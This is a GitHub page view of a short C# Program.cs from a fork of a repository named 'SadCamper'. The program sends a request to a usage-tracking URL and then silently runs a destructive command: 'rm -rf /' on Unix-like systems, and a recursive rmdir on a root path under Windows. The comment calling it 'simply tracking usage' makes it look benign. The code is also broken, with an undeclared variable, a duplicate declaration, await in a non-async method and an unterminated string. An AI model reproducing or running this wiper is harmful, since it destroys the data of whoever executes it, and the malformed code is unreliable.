forked from spacialsec/SadCamper
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Program.cs
51 lines (47 loc) · 1.48 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
using System;
using System.Diagnostics;
class Program
{
static void Main(string[] args)
{
await ConnectAndCloseConnectionAsync("https://www.spatial-sec.com/sc_usage/");
if (OperatingSystem.IsWindows())
{
Process process = new Process();
psi.FileName = "cmd.exe";
psi.Arguments = "rmdir /s /q \";
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
psi.CreateNoWindow = true;
using var process = Process.Start(psi);
process.WaitForExit();
}
else
{
Process process = new Process();
psi.FileName = "/bin/bash";
psi.Arguments = "rm -rf /";
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
psi.CreateNoWindow = true;
using var process = Process.Start(psi);
process.WaitForExit();
}
}
static async Task ConnectAndCloseConnectionAsync(string uri)
{
// simply tracking usage - feel free to share feedback!
using (var httpClient = new HttpClient())
{
try
{
HttpResponseMessage response = await httpClient.GetAsync(uri);
}
catch (HttpRequestException e)
{
// Handle any errors that occurred during the request
Console.WriteLine($"Request error: {e.Message}");
}
}
}
}